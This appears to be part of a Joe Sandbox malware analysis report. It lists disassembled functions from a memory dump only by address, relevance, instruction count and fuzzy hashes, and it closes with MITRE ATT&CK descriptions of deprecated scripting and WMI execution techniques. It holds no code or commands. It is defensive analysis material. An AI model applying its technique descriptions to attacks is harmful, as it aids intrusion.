Instruction Fuzzy Hash: 92B14D31A0E65E8FEB65EBB8C8646ED7BF0FF49300F4541BAD009D71A6DA38A544CB41

Function 00007FFD9B8B1B55 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a45aba54357a8cb70380bc0b948fb4c11292ea8b8b3c0143fdfc6dfb0572cb
Instruction ID: 60d8fcdbd3d1c41a9e75012b73be5ebe1f4a936a10cdd3f023d3b800d383c895
Opcode Fuzzy Hash: 04a45aba54357a8cb70380bc0b948fb4c11292ea8b8b3c0143fdfc6dfb0572cb
Instruction Fuzzy Hash: 59911431A1DB9D4FDB59DF2888755AA3BE1FF99300F0541BED449CB2A2DE34A901CB81

Function 00007FFD9B8B20B5 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74748bd3b00af5bc9d2123544a3e9dd3ef55fdb89db7b6d5a534280b8b6ac9c0
Instruction ID: 06f6b060099515489024fc8ca52d09dd2d52e37056c229bf0c51f780a86456e8
Opcode Fuzzy Hash: 74748bd3b00af5bc9d2123544a3e9dd3ef55fdb89db7b6d5a534280b8b6ac9c0
Instruction Fuzzy Hash: 4DA1F631E0E52E8FE765DFB4D8656B9BBA0FF49300F0541BAC05DC71A2DE386A458B81

Function 00007FFD9B8B16A8 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8d7b8fee3d456916ae209bc57e8b7c80cec97d3835afb832f733b601cbc05e
Instruction ID: aed9b9f95049eab46219b7aa16d9a596bc1816395f30f88fcecf256cab02ccde
Opcode Fuzzy Hash: 3a8d7b8fee3d456916ae209bc57e8b7c80cec97d3835afb832f733b601cbc05e
Instruction Fuzzy Hash: 3881F131B1DA5D4FDB58EF6888615A977E2FF98300B15017EE45DC72A2DE34AD028B81

Function 00007FFD9B8B05F0 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cad9048820bbfe4724e97d3f4c7d72699c4cc1ebbef8f6bfcd339811afe0aee
Instruction ID: c40167a3691c13884035fb4831e7d77014ca74901f1329d7b7c829228d4e417e
Opcode Fuzzy Hash: 8cad9048820bbfe4724e97d3f4c7d72699c4cc1ebbef8f6bfcd339811afe0aee
Instruction Fuzzy Hash: 8D911430B19A5E8FDB58EF2888655BA77E1FF98300F11457ED419C72E2DE34A901CB81

Function 00007FFD9B8BC5B0 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c9f2fb44a77f883e1fdc2abc8190b863ca249210532f9ab0a252ecb12648738
Instruction ID: 6e321b6c05781f28402bc0d48b3908c3b67ca282ec27a1b15d71e05d2fd4b516
Opcode Fuzzy Hash: 0c9f2fb44a77f883e1fdc2abc8190b863ca249210532f9ab0a252ecb12648738
Instruction Fuzzy Hash: A981F031A0965E8FDB55EB78C8689ED3BB0FF09314F0504BBD059CB0A3DA38A545CB81

Function 00007FFD9B8BACDD Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9369b2fc346858bdcca8a2f17282660db25118527b1c3c487b3a741793da398c
Instruction ID: 576afa4196a75f28d08e937ed18399bb8c810f18e25d12c776eb5a81e78295da
Opcode Fuzzy Hash: 9369b2fc346858bdcca8a2f17282660db25118527b1c3c487b3a741793da398c
Instruction Fuzzy Hash: D9819170A1A64E8FDBA5EF6488696FA3BF0FF19300F0105BBD419C71A2DB38A644C741

Function 00007FFD9B8BAC6D Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7a5c7aa5e37f1474b788d840c0679cde8e9aeab493d4e389f4c42074d395a42
Instruction ID: 30b79d246a4ca3a3e9d6649c724cab89f9612ec7e939c9ad27ab6a2d18c63c59
Opcode Fuzzy Hash: b7a5c7aa5e37f1474b788d840c0679cde8e9aeab493d4e389f4c42074d395a42
Instruction Fuzzy Hash: 7B819E70A5A68E8FDB95EF64C8686BA7BB0FF19300F0506BBD409C71A2DB34A545C741

Function 00007FFD9B8B2A10 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc2444d81eb98082e6a1c720c6847896b3cedb11a213d726b300cc4eee0152e5
Instruction ID: b5b16167225b0e30d509c11831c550bb201f61375f8697c11f2a56a0cafb7eb3
Opcode Fuzzy Hash: cc2444d81eb98082e6a1c720c6847896b3cedb11a213d726b300cc4eee0152e5
Instruction Fuzzy Hash: C6819F74A0A64E8FEB55EFA8C8286FD7BE0EF19314F1144BBD419C71A2DE38A544CB41

Function 00007FFD9B8B05D0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9cfb43d34e94a0f3927d5548194ee44a2224a9bab84fcf6d5dbcb16078ef1a8
Instruction ID: 197c759e5c7ae651999fb26392675a9dbfe38b96ea1b750fbcf95b8b054d479c
Opcode Fuzzy Hash: a9cfb43d34e94a0f3927d5548194ee44a2224a9bab84fcf6d5dbcb16078ef1a8
Instruction Fuzzy Hash: DD612530B19A5E8FDB58EF2888645BA77E1FF98300B14417ED45DC7291DE34E902CB81

Function 00007FFD9B8B283D Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d235bcd5ee2602cb62f18f9f0891cb186791f5e74b942abdf3efea1ec4fd8e1a
Instruction ID: 6761371c48cf37bd32943c508e8d1538a1e5093f689fbfe9ab857c9f3647e3dd
Opcode Fuzzy Hash: d235bcd5ee2602cb62f18f9f0891cb186791f5e74b942abdf3efea1ec4fd8e1a
Instruction Fuzzy Hash: BA51EE327095768BD31ABFBCF8A58E83B60EF4636570545B7D088CA0A7DD28A047C7C1

Function 00007FFD9B8B17C0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e9e1305185982b106f9972e477b26724924fc0e7d42357aa57b85ed68df7bd4
Instruction ID: 11de5433b80398bd7ffe41f461a5de1d6d5ddf21511b0fb69c95642c1e62976e
Opcode Fuzzy Hash: 4e9e1305185982b106f9972e477b26724924fc0e7d42357aa57b85ed68df7bd4
Instruction Fuzzy Hash: 9E41C030B18A5D4BDB5CEF1888655BA73E2FBD8305B14467EE45EC7295DE30E812CB80

Function 00007FFD9B8B112D Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9030ffb2e1429528a84f02e214f92a23ef8667ad9638b12f871a5652f2144d
Instruction ID: 1374820a58f75f2e69216f6cbff96778a221e7881d29fc7f263ffc97f0de70fd
Opcode Fuzzy Hash: 6a9030ffb2e1429528a84f02e214f92a23ef8667ad9638b12f871a5652f2144d
Instruction Fuzzy Hash: D351B130A19A5E8FEB65EB78C4656F97BE0FF59310F01017ED019DB1E2DE25A540CB81

Function 00007FFD9B8B2DE9 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ce4e3131265f01cfdad2c9283b6c2249a1494c8d8bcb0816d62a5bbfec1261
Instruction ID: a2833f8ce6d3cc8aaf3f57bdfad4f453f3dd472da5207d637ed2add4a8b8fb6b
Opcode Fuzzy Hash: f2ce4e3131265f01cfdad2c9283b6c2249a1494c8d8bcb0816d62a5bbfec1261
Instruction Fuzzy Hash: 5341BA30A5E29E8FD7629FB488645FA7FF0FF0A310F0545B6C408C61E6DA28A605CB91

Function 00007FFD9B8B084D Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 375e39312cd3d3f84f4670790bbec8f839f447a106c2848fdbe821eea5f44e5a
Instruction ID: 2fd02a1ad376924601a4fb9f85040b273a41c6f197fc9e2cfa12a1f77080b99c
Opcode Fuzzy Hash: 375e39312cd3d3f84f4670790bbec8f839f447a106c2848fdbe821eea5f44e5a
Instruction Fuzzy Hash: 69414B30A1E65E8FE762AB7988695E93BE0FF09704F0245B6C059C70A7DE24A644CB81

Function 00007FFD9B8B0500 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6faa742e52fc7f34e1cda2db4fd211a80add0f9caf83bf5a8351b70e5264e67b
Instruction ID: 28325611def11d25405c5f8d91f92d0c85559f6c1a371465d1fd2f4c1c61fd33
Opcode Fuzzy Hash: 6faa742e52fc7f34e1cda2db4fd211a80add0f9caf83bf5a8351b70e5264e67b
Instruction Fuzzy Hash: 1641A730A1E69E8FD7669FB4C8685F93BF0FF0A304F0145BAD418C60A6EB38A554CB41

Function 00007FFD9B8B25FD Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0479a60cb331471bd09568e84fbe039eb53111f85ad2194b94a28912701af53d
Instruction ID: 535f382d5ab4420234b6e2eb4c86672db1c42eb57b5993ffdbfcfde79e6d92f5
Opcode Fuzzy Hash: 0479a60cb331471bd09568e84fbe039eb53111f85ad2194b94a28912701af53d
Instruction Fuzzy Hash: 8241813091E79E8FD7669FB488696E63FB0FF0A304F0544FAD458C60A6EB28A554CB41

Function 00007FFD9B8B0600 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692d6b281da22d8847a7a32e2dbe2611fc5f887db60e4082316cf823c2a6769e
Instruction ID: a5ac8f6eb02d834376deead970440040eab9f2f077103aa85258fe4299270cb4
Opcode Fuzzy Hash: 692d6b281da22d8847a7a32e2dbe2611fc5f887db60e4082316cf823c2a6769e
Instruction Fuzzy Hash: 2F41B230A1A65E8FE756EFB4C8685B93BE0FF1E304F0144BAD419C71A6DE38A544CB41

Function 00007FFD9B8BACD3 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b7fb20c190a6739e7e67c99439eb3e58b2d31072faca10e50bc48dd5a565cf
Instruction ID: a7f917c452572f74a1a7088cbd742c829514d25dc67e2c3c1f43b50834f777c9
Opcode Fuzzy Hash: 77b7fb20c190a6739e7e67c99439eb3e58b2d31072faca10e50bc48dd5a565cf
Instruction Fuzzy Hash: D8419270A5E68E8FEBA5AF6488246FA7BF0FF09710F01067BD409D31A1DB7866548741

Function 00007FFD9B8B30F0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df491c89c4dbd67f93f97ff799f37459ba3cbf6aa3504ae9b2ab6a71db6c3a9
Instruction ID: 696bd39f542bd2a7ec09a2b9b53fb82d8b870ae89bd203fea15efa48494c8172
Opcode Fuzzy Hash: 3df491c89c4dbd67f93f97ff799f37459ba3cbf6aa3504ae9b2ab6a71db6c3a9
Instruction Fuzzy Hash: B4419030A5E65E8EE7619BB488656EE7BF4FF09300F450577D408D71E2DA38A648CB81

Function 00007FFD9B8B1140 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31e0b8acc69aa72253eda57020a92acd5bfe2820cf5a1de8ee2b18bc38609d5
Instruction ID: e9076c58a873a09a9fbd9f4828af116ab5f25e4f11eb9e75472ee0c789bc7bd7
Opcode Fuzzy Hash: a31e0b8acc69aa72253eda57020a92acd5bfe2820cf5a1de8ee2b18bc38609d5
Instruction Fuzzy Hash: 6431E330A19A6E8FEB65EFB8C8646FA77E0FF59310F01017AD409D71E1DA246904CB81

Function 00007FFD9B8BAEEC Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e74da2ab4986722d7f0e5cf2915376dad4663e13e8df0a5be5ee0bb6ec2fa62
Instruction ID: 5910c65394b3c01f5f317aba0ebde58c32b07aa4efbfb832c5902102a5223db2
Opcode Fuzzy Hash: 0e74da2ab4986722d7f0e5cf2915376dad4663e13e8df0a5be5ee0bb6ec2fa62
Instruction Fuzzy Hash: D231F470E1E65E5FE761EB7888695FD7BE0FF09300F4245B6D418C71A6EE38A6448B80

Function 00007FFD9B8B2E78 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc3f54750cf4f07c2950934d3624420e4290255f6ea0d85f9b5e8d4bc17a08e
Instruction ID: 33bcf18383e19daefd5b0f4d469875345fc8a41f7a9d744478e60f9ccbc7eb20
Opcode Fuzzy Hash: 9cc3f54750cf4f07c2950934d3624420e4290255f6ea0d85f9b5e8d4bc17a08e
Instruction Fuzzy Hash: 2731BB30A5E69E8FE7719FB488645F97BE0FF0A310F0545B6D404C61E6EE28A6148B81

Function 00007FFD9B8B3160 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ab46d567d6d5c5d5b0ff55979c92d1628848ef4f95ffba9fb708324aa3d3358
Instruction ID: 2a7a266338785d21350f6aa7454fae0768407d22d2c05d4cf9c349d07216b61c
Opcode Fuzzy Hash: 7ab46d567d6d5c5d5b0ff55979c92d1628848ef4f95ffba9fb708324aa3d3358
Instruction Fuzzy Hash: FC316130E1A65E8EE765DBB4D8656FE7AF0EF09310F45053AD009D31E2DE38A648CB81

Function 00007FFD9B8B0A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f575ed2715bc67cdfd7b5099939431e5c89e54ccdb170b5c1cc5c377a4708aa7
Instruction ID: 823eae12587b97871cec09ad5f13933177b841612858951a7c48a8c9e94a1888
Opcode Fuzzy Hash: f575ed2715bc67cdfd7b5099939431e5c89e54ccdb170b5c1cc5c377a4708aa7
Instruction Fuzzy Hash: 0611B230E2A51E4FE791EBB888695FD77E1FF58740F4159B6D018C70A6EE34A6408B80

Function 00007FFD9B8B26F8 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df255fecf63ee5401b479e5b3b341e8ca5679252687925f4c6854cecde0593a1
Instruction ID: 9081952e07d45a27ce06870ed4c3c5b1ea9631b02e45a18231f1feca5a9f5f1c
Opcode Fuzzy Hash: df255fecf63ee5401b479e5b3b341e8ca5679252687925f4c6854cecde0593a1
Instruction Fuzzy Hash: 1411B93091A64ECFD756DFB498646F93BA0FF0A304F4104BAD818C61E5EB38A554CB45

Function 00007FFD9B8B04F8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99214098b46b42d87c3d4c06216fb18c4ccda81aae678d58f8de3a9007d9ac86
Instruction ID: db02c6df45535f72c1bfd2b6b2696586b521294b2492e54e0fce73e0fb74169d
Opcode Fuzzy Hash: 99214098b46b42d87c3d4c06216fb18c4ccda81aae678d58f8de3a9007d9ac86
Instruction Fuzzy Hash: 1611B93091A64ECFD7669FB498642FA3BA0FF09304F410476D419C61E5DB38A554CB45

Function 00007FFD9B8B05D8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b02808c8a19e263b3981c76158792b0edf5fbe01d1344b2c87077694a36f22
Instruction ID: 19223a19bfddeeed0ead86891e52c5e6b27c79dda1706eda33419d0e13db311a
Opcode Fuzzy Hash: e4b02808c8a19e263b3981c76158792b0edf5fbe01d1344b2c87077694a36f22
Instruction Fuzzy Hash: 6A110130A1A61E8FDB95EF70C4759B93BA1FF59300F1140BED409CB0A6CE35A641CB80

Function 00007FFD9B8B0610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 364206abcd1cfc3d844738316b810adde541eca32ebd4b1311aa03dbd6298015
Instruction ID: c9f37439923eb46061c8af91ed9c11eb909b449a12a093afa678ce3f33bd045c
Opcode Fuzzy Hash: 364206abcd1cfc3d844738316b810adde541eca32ebd4b1311aa03dbd6298015
Instruction Fuzzy Hash: 5601AD30A1950E8AEB69EFB4C4696BA76E0FF0C305F11087ED41EC21E4CE35A640CA40

Function 00007FFD9B8BB1AF Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9505673c53cf93a2905164d96514d3db14f096781e50e0d3d9a7e51194de32d9
Instruction ID: 1be86ac8e4ef395964bf5c60d66308f608c66ba6361ba0328c990e7f35a8e351
Opcode Fuzzy Hash: 9505673c53cf93a2905164d96514d3db14f096781e50e0d3d9a7e51194de32d9
Instruction Fuzzy Hash: 36F04F70A1956E8EEBA5EB24C454BEDB3B0FF5C340F0042E6C40CD3155CA30AA818F40

Function 00007FFD9B8B27CD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b54684125cb0ba87e49d1deba320ca7fad6cf94b4571feff5b4030175ec127
Instruction ID: a364abb0dfd826de24e942d3eec6577e2a19aca4557513d3458e7526ab16549e
Opcode Fuzzy Hash: 08b54684125cb0ba87e49d1deba320ca7fad6cf94b4571feff5b4030175ec127
Instruction Fuzzy Hash: 59F0F630A1E68D8FE7699FB088251B93FA0FF09300F0104BED409C50E6DB389554CB81

Function 00007FFD9B8B689E Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a94c6cce23f377d1b613cc34c008bf8177ccb5e05323e2c681b32c04b158931
Instruction ID: b029936dffef35d36f50c5e9dafa7141ba6d5e724351c1a05086e433b6d149d5
Opcode Fuzzy Hash: 8a94c6cce23f377d1b613cc34c008bf8177ccb5e05323e2c681b32c04b158931
Instruction Fuzzy Hash: 73E0B6B0D0A92D8EEBF5DB5488507A8B6B4FB58304F2000E9C10ED3250DE349A808F44

Function 00007FFD9B8B0FAE Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1836644400.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b8b0000_kiLVdQuGOoDsAqfKidbVwSiALpZrG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e8bc2e90232be99280bb6bcf11595ad3b2ffb5e19cf630c48ba52db125f1eb8
Instruction ID: 97af6e0229592994633f108953b33d11146b647ed5b6cbec2ee2ea202e1d7135
Opcode Fuzzy Hash: 7e8bc2e90232be99280bb6bcf11595ad3b2ffb5e19cf630c48ba52db125f1eb8
Instruction Fuzzy Hash: 94E0EC20E1991D8AE768EB64DC61FADAA71FF44304F5002B5D00DA3196DE346A818F80

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

